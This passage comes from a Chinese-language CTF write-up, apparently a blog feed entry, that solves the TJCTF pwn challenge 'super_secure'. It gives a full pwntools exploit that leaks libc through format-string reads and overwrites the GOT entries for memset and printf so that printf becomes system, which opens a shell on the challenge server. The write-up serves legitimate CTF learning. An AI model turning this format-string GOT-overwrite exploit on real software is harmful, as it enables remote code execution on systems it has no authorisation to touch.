非预期结果</span><br><span class="line">18</span><br></pre></td></tr></table></figure><p>那么开始解题拿flag:-)</p><p>首先泄露libc，这个可以在没loop之前得到，跑两次就行了。</p><p><img src="http://wx2.sinaimg.cn/mw690/0060lm7Tly1fu859upxflj30op09d74j.jpg" alt="img"></p><p>然后就让程序循环，利用got表可写的特性将memset的真实地址覆盖为_start，这里_start其实就是程序的入口点，它负责调用main函数。接着泄露一次printf的真实地址，计算得到system的真实地址，再构造payload将printf覆盖为system。最后传<code>&quot;/bin/sh\0&quot;</code>，<code>get_message</code>的<code>printf(a)</code>实际上就是<code>system(&quot;/bin/sh&quot;)</code>。</p><p>exp如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">__Auther__ = &apos;L1B0&apos;</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line">from sys import *</span><br><span class="line">context.log_level = &apos;debug&apos;</span><br><span class="line">context.terminal = [&apos;deepin-terminal&apos;, &apos;-x&apos;, &apos;sh&apos;, &apos;-c&apos; ]</span><br><span class="line">context.binary = &apos;./super_secure&apos;</span><br><span class="line"></span><br><span class="line">elf = context.binary</span><br><span class="line">if argv[1] == &apos;l&apos;:</span><br><span class="line">    io = process(&apos;./super_secure&apos;)</span><br><span class="line">    libc = elf.libc</span><br><span class="line">else:</span><br><span class="line">    io = remote(&apos;problem1.tjctf.org&apos;, 8009)</span><br><span class="line">    libc = ELF(&apos;./libc6_2.27-3ubuntu1_amd64.so&apos;)</span><br><span class="line"></span><br><span class="line">def DEBUG():</span><br><span class="line">    gdb.attach(io,&apos;b *0x400c60\nb *0x400CD5\nc\n&apos;)</span><br><span class="line"></span><br><span class="line">def mysend(payload,flag=False):</span><br><span class="line"></span><br><span class="line">    io.sendlineafter(&quot;&gt; &quot;,&quot;s&quot;)</span><br><span class="line">    io.sendlineafter(&quot;:\n&quot;,&quot;111111&quot;)</span><br><span class="line">    io.sendlineafter(&quot;:\n&quot;,payload)</span><br><span class="line">    </span><br><span class="line">    io.sendlineafter(&quot;&gt; &quot;,&quot;v&quot;)</span><br><span class="line">    io.sendlineafter(&quot;:\n&quot;,&quot;111111&quot;)</span><br><span class="line">    if not flag:</span><br><span class="line">        io.sendline(&quot;f**kyo&quot;)</span><br><span class="line"></span><br><span class="line">def set_to_memset():</span><br><span class="line">    </span><br><span class="line">    payload = (&quot;%&#123;&#125;c%&#123;&#125;$hn&quot;.format(elf.sym[&quot;_start&quot;]&amp;0xffff,28)).ljust(16,&apos;+&apos;) + p64(elf.got[&apos;memset&apos;])</span><br><span class="line">    mysend(payload)</span><br><span class="line"></span><br><span class="line">def leak(addr):</span><br><span class="line"></span><br><span class="line">    payload = &quot;++%27$s+&quot; + p64(addr)</span><br><span class="line">    mysend(payload)</span><br><span class="line"></span><br><span class="line">    io.recvuntil(&quot;++&quot;)</span><br><span class="line">    real_addr = io.recvuntil(&quot;+&quot;)[:-1]</span><br><span class="line">    real_addr = u64( real_addr + &quot;\x00&quot;*(8-len(real_addr)) )</span><br><span class="line"></span><br><span class="line">    print hex(real_addr)</span><br><span class="line">    return real_addr </span><br><span class="line"></span><br><span class="line">def printf_to_system(printf_addr):</span><br><span class="line"></span><br><span class="line">    system_addr = libc.sym[&apos;system&apos;] + printf_addr - libc.sym[&apos;printf&apos;]</span><br><span class="line">    print hex(system_addr),hex(printf_addr)</span><br><span class="line"></span><br><span class="line">    payload = (&quot;%&#123;&#125;c%30$hhn&quot;.format(system_addr&amp;0xff)).ljust(16,&apos;+&apos;)</span><br><span class="line">    payload += (&quot;%&#123;&#125;c%31$hn&quot;.format( ((system_addr&gt;&gt;8)&amp;0xffff) - (system_addr&amp;0xff) - 5 )).ljust(16,&apos;+&apos;)</span><br><span class="line">    payload += p64( elf.got[&apos;printf&apos;] ) + p64( elf.got[&apos;printf&apos;]+1 )</span><br><span class="line">    info(payload)</span><br><span class="line">#DEBUG()</span><br><span class="line">    mysend(payload)</span><br><span class="line">    </span><br><span class="line">    io.sendline(&quot;s&quot;)</span><br><span class="line">    io.sendline(&quot;111111&quot;)</span><br><span class="line">    io.sendline(&quot;/bin/sh\0&quot;)</span><br><span class="line"></span><br><span class="line">    io.sendline(&quot;v&quot;)</span><br><span class="line">    io.sendline(&quot;111111&quot;)</span><br><span class="line"></span><br><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line">    </span><br><span class="line">    set_to_memset()</span><br><span class="line">    printf_addr = leak(elf.got[&apos;printf&apos;])</span><br><span class="line">    printf_to_system(printf_addr)</span><br><span class="line"></span><br><span class="line">    io.interactive()</span><br></pre></td></tr></table></figure><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><ul><li>在线libc-database：<a href="https://libc.blukat.me/" target="_blank" rel="noopener">https://libc.blukat.me/</a></li><li>_start的作用：<a href="https://stackoverflow.com/questions/29694564/what-is-the-use-of-start-in-c" target="_blank" rel="noopener">https://stackoverflow.com/questions/29694564/what-is-the-use-of-start-in-c</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;Unsolved: pwn-Online-Banking&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;Reverse&quot;&gt;&lt;a href=&quot;#Reverse&quot; class=&quot;headerlink&quot; title=&quot;Reverse&quot;&gt;&lt;/a&gt;Reverse&lt;/h2&gt;&lt;h3 id=&quot;Validator-points-30&quot;&gt;&lt;a href=&quot;#Validator-points-30&quot; class=&quot;headerlink&quot; title=&quot;Validator(points: 30)&quot;&gt;&lt;/a&gt;Validator(points: 30)&lt;/h3&gt;&lt;p&gt;首先file看一下&lt;/p&gt;
&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;▶ file flagcheck &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;flagcheck: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=89bdc886ab26b531450aa6ecb741b66a060b7605, not stripped&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;用ida看伪代码会发现是明文比较，如下图。&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="Pwn" scheme="https://l1b0.fun/tags/Pwn/"/>
    
  </entry>
  
</feed>
